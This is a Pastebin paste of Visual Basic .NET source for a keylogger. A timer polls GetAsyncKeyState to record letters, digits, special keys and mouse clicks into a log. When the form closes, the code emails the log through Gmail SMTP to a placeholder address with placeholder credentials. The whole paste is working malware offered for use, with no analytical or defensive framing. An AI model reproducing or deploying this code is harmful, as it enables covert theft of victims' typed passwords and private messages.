API tools faq
paste
Advertisement
Guest User

made by James While

a guest
Jun 30th, 2015
243
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.31 KB | None | 0 0
raw download clone embed print report
  1.  
  2.  
  3.  
  4. Imports System.Net.Mail
  5.  
  6.  
  7. Public Class Form1
  8.  
  9.  
  10. Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
  11.  
  12.  
  13. Public log As String
  14.  
  15.  
  16. Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  17.  
  18.  
  19. Timer1.Start()
  20.  
  21.  
  22. End Sub
  23.  
  24.  
  25.  
  26.  
  27.  
  28. Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
  29.  
  30.  
  31. If (GetAsyncKeyState(65)) Then
  32.  
  33.  
  34. log = log + "A"
  35.  
  36.  
  37. ElseIf (GetAsyncKeyState(66)) Then
  38.  
  39.  
  40. log = log + "B"
  41.  
  42.  
  43. ElseIf (GetAsyncKeyState(67)) Then
  44.  
  45.  
  46. log = log + "C"
  47.  
  48.  
  49. ElseIf (GetAsyncKeyState(68)) Then
  50.  
  51.  
  52. log = log + "D"
  53.  
  54.  
  55. ElseIf (GetAsyncKeyState(69)) Then
  56.  
  57.  
  58. log = log + "E"
  59.  
  60.  
  61. ElseIf (GetAsyncKeyState(70)) Then
  62.  
  63.  
  64. log = log + "F"
  65.  
  66.  
  67. ElseIf (GetAsyncKeyState(71)) Then
  68.  
  69.  
  70. log = log + "G"
  71.  
  72.  
  73. ElseIf (GetAsyncKeyState(72)) Then
  74.  
  75.  
  76. log = log + "H"
  77.  
  78.  
  79. ElseIf (GetAsyncKeyState(73)) Then
  80.  
  81.  
  82. log = log + "I"
  83.  
  84.  
  85. ElseIf (GetAsyncKeyState(74)) Then
  86.  
  87.  
  88. log = log + "J"
  89.  
  90.  
  91. ElseIf (GetAsyncKeyState(75)) Then
  92.  
  93.  
  94. log = log + "K"
  95.  
  96.  
  97. ElseIf (GetAsyncKeyState(76)) Then
  98.  
  99.  
  100. log = log + "L"
  101.  
  102.  
  103. ElseIf (GetAsyncKeyState(77)) Then
  104.  
  105.  
  106. log = log + "M"
  107.  
  108.  
  109. ElseIf (GetAsyncKeyState(78)) Then
  110.  
  111.  
  112. log = log + "N"
  113.  
  114.  
  115. ElseIf (GetAsyncKeyState(79)) Then
  116.  
  117.  
  118. log = log + "O"
  119.  
  120.  
  121. ElseIf (GetAsyncKeyState(80)) Then
  122.  
  123.  
  124. log = log + "P"
  125.  
  126.  
  127. ElseIf (GetAsyncKeyState(81)) Then
  128.  
  129.  
  130. log = log + "Q"
  131.  
  132.  
  133. ElseIf (GetAsyncKeyState(82)) Then
  134.  
  135.  
  136. log = log + "R"
  137.  
  138.  
  139. ElseIf (GetAsyncKeyState(83)) Then
  140.  
  141.  
  142. log = log + "S"
  143.  
  144.  
  145. ElseIf (GetAsyncKeyState(84)) Then
  146.  
  147.  
  148. log = log + "T"
  149.  
  150.  
  151. ElseIf (GetAsyncKeyState(85)) Then
  152.  
  153.  
  154. log = log + "U"
  155.  
  156.  
  157. ElseIf (GetAsyncKeyState(86)) Then
  158.  
  159.  
  160. log = log + "V"
  161.  
  162.  
  163. ElseIf (GetAsyncKeyState(87)) Then
  164.  
  165.  
  166. log = log + "W"
  167.  
  168.  
  169. ElseIf (GetAsyncKeyState(88)) Then
  170.  
  171.  
  172. log = log + "X"
  173.  
  174.  
  175. ElseIf (GetAsyncKeyState(89)) Then
  176.  
  177.  
  178. log = log + "Y"
  179.  
  180.  
  181. ElseIf (GetAsyncKeyState(90)) Then
  182.  
  183.  
  184. log = log + "Z"
  185.  
  186.  
  187. ElseIf (GetAsyncKeyState(48)) Then
  188.  
  189.  
  190. log = log + "0"
  191.  
  192.  
  193. ElseIf (GetAsyncKeyState(49)) Then
  194.  
  195.  
  196. log = log + "1"
  197.  
  198.  
  199. ElseIf (GetAsyncKeyState(50)) Then
  200.  
  201.  
  202. log = log + "2"
  203.  
  204.  
  205. ElseIf (GetAsyncKeyState(51)) Then
  206.  
  207.  
  208. log = log + "3"
  209.  
  210.  
  211. ElseIf (GetAsyncKeyState(52)) Then
  212.  
  213.  
  214. log = log + "4"
  215.  
  216.  
  217. ElseIf (GetAsyncKeyState(53)) Then
  218.  
  219.  
  220. log = log + "5"
  221.  
  222.  
  223. ElseIf (GetAsyncKeyState(54)) Then
  224.  
  225.  
  226. log = log + "6"
  227.  
  228.  
  229. ElseIf (GetAsyncKeyState(55)) Then
  230.  
  231.  
  232. log = log + "7"
  233.  
  234.  
  235. ElseIf (GetAsyncKeyState(56)) Then
  236.  
  237.  
  238. log = log + "8"
  239.  
  240.  
  241. ElseIf (GetAsyncKeyState(57)) Then
  242.  
  243.  
  244. log = log + "9"
  245.  
  246.  
  247. ElseIf (GetAsyncKeyState(96)) Then
  248.  
  249.  
  250. log = log + "{Num0}"
  251.  
  252.  
  253. ElseIf (GetAsyncKeyState(97)) Then
  254.  
  255.  
  256. log = log + "{Num1}"
  257.  
  258.  
  259. ElseIf (GetAsyncKeyState(98)) Then
  260.  
  261.  
  262. log = log + "{Num2}"
  263.  
  264.  
  265. ElseIf (GetAsyncKeyState(99)) Then
  266.  
  267.  
  268. log = log + "{Num3}"
  269.  
  270.  
  271. ElseIf (GetAsyncKeyState(100)) Then
  272.  
  273.  
  274. log = log + "{Num4}"
  275.  
  276.  
  277. ElseIf (GetAsyncKeyState(101)) Then
  278.  
  279.  
  280. log = log + "{Num5}"
  281.  
  282.  
  283. ElseIf (GetAsyncKeyState(102)) Then
  284.  
  285.  
  286. log = log + "{Num6}"
  287.  
  288.  
  289. ElseIf (GetAsyncKeyState(103)) Then
  290.  
  291.  
  292. log = log + "{Num7}"
  293.  
  294.  
  295. ElseIf (GetAsyncKeyState(104)) Then
  296.  
  297.  
  298. log = log + "{Num8}"
  299.  
  300.  
  301. ElseIf (GetAsyncKeyState(105)) Then
  302.  
  303.  
  304. log = log + "{Num9}"
  305.  
  306.  
  307. ElseIf (GetAsyncKeyState(106)) Then
  308.  
  309.  
  310. log = log + "{Num*}"
  311.  
  312.  
  313. ElseIf (GetAsyncKeyState(107)) Then
  314.  
  315.  
  316. log = log + "{Num+}"
  317.  
  318.  
  319. ElseIf (GetAsyncKeyState(13)) Then
  320.  
  321.  
  322. log = log + "{Enter}"
  323.  
  324.  
  325. ElseIf (GetAsyncKeyState(109)) Then
  326.  
  327.  
  328. log = log + "{Num-}"
  329.  
  330.  
  331. ElseIf (GetAsyncKeyState(110)) Then
  332.  
  333.  
  334. log = log + "{Num.}"
  335.  
  336.  
  337. ElseIf (GetAsyncKeyState(111)) Then
  338.  
  339.  
  340. log = log + "{Num/}"
  341.  
  342.  
  343. ElseIf (GetAsyncKeyState(32)) Then
  344.  
  345.  
  346. log = log + " "
  347.  
  348.  
  349. ElseIf (GetAsyncKeyState(8)) Then
  350.  
  351.  
  352. log = log + "{Backspace}"
  353.  
  354.  
  355. ElseIf (GetAsyncKeyState(9)) Then
  356.  
  357.  
  358. log = log + "{Tab}"
  359.  
  360.  
  361. ElseIf (GetAsyncKeyState(16)) Then
  362.  
  363.  
  364. log = log + "{Shift}"
  365.  
  366.  
  367. ElseIf (GetAsyncKeyState(17)) Then
  368.  
  369.  
  370. log = log + "{Control}"
  371.  
  372.  
  373. ElseIf (GetAsyncKeyState(20)) Then
  374.  
  375.  
  376. log = log + "{Caps}"
  377.  
  378.  
  379. ElseIf (GetAsyncKeyState(27)) Then
  380.  
  381.  
  382. log = log + "{Esc}"
  383.  
  384.  
  385. ElseIf (GetAsyncKeyState(33)) Then
  386.  
  387.  
  388. log = log + "{PGup}"
  389.  
  390.  
  391. ElseIf (GetAsyncKeyState(34)) Then
  392.  
  393.  
  394. log = log + "{PGdn}"
  395.  
  396.  
  397. ElseIf (GetAsyncKeyState(35)) Then
  398.  
  399.  
  400. log = log + "{End}"
  401.  
  402.  
  403. ElseIf (GetAsyncKeyState(36)) Then
  404.  
  405.  
  406. log = log + "{Home}"
  407.  
  408.  
  409. ElseIf (GetAsyncKeyState(37)) Then
  410.  
  411.  
  412. log = log + "{LArrow}"
  413.  
  414.  
  415. ElseIf (GetAsyncKeyState(38)) Then
  416.  
  417.  
  418. log = log + "{UArrow}"
  419.  
  420.  
  421. ElseIf (GetAsyncKeyState(39)) Then
  422.  
  423.  
  424. log = log + "{RArrow}"
  425.  
  426.  
  427. ElseIf (GetAsyncKeyState(40)) Then
  428.  
  429.  
  430. log = log + "{DArrow}"
  431.  
  432.  
  433. ElseIf (GetAsyncKeyState(45)) Then
  434.  
  435.  
  436. log = log + "{Insert}"
  437.  
  438.  
  439. ElseIf (GetAsyncKeyState(46)) Then
  440.  
  441.  
  442. log = log + "{Del}"
  443.  
  444.  
  445. ElseIf (GetAsyncKeyState(144)) Then
  446.  
  447.  
  448. log = log + "{NumLock}"
  449.  
  450.  
  451. ElseIf (GetAsyncKeyState(188)) Then
  452.  
  453.  
  454. log = log + "{,}"
  455.  
  456.  
  457. ElseIf (GetAsyncKeyState(1)) Then
  458.  
  459.  
  460. log = log + "[L]"
  461.  
  462.  
  463. ElseIf (GetAsyncKeyState(2)) Then
  464.  
  465.  
  466. log = log + "[R]"
  467.  
  468.  
  469. End If
  470.  
  471.  
  472. End Sub
  473.  
  474.  
  475.  
  476.  
  477.  
  478. Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
  479.  
  480.  
  481. RichTextBox1.Text = log
  482.  
  483.  
  484. End Sub
  485.  
  486.  
  487.  
  488.  
  489.  
  490. Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
  491.  
  492.  
  493. sendmail()
  494.  
  495.  
  496. End Sub
  497.  
  498.  
  499.  
  500.  
  501.  
  502. Private Sub sendmail()
  503.  
  504.  
  505. Dim Mail As New MailMessage
  506.  
  507.  
  508. Mail.Subject = "Keylog"
  509.  
  510.  
  511. Mail.To.Add("youremailadres@gmail.com")
  512.  
  513.  
  514. Mail.From = New MailAddress("youremailadres@gmail.com")
  515.  
  516.  
  517. Mail.Body = log
  518.  
  519.  
  520. Dim SMTP As New SmtpClient("smtp.gmail.com")
  521.  
  522.  
  523. SMTP.EnableSsl = True
  524.  
  525.  
  526. SMTP.Credentials = New System.Net.NetworkCredential("youremailadres@gmail.com", "yourpassword")
  527.  
  528.  
  529. SMTP.Port = "587"
  530.  
  531.  
  532. SMTP.Send(Mail)
  533.  
  534.  
  535. End Sub
  536.  
  537.  
  538. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!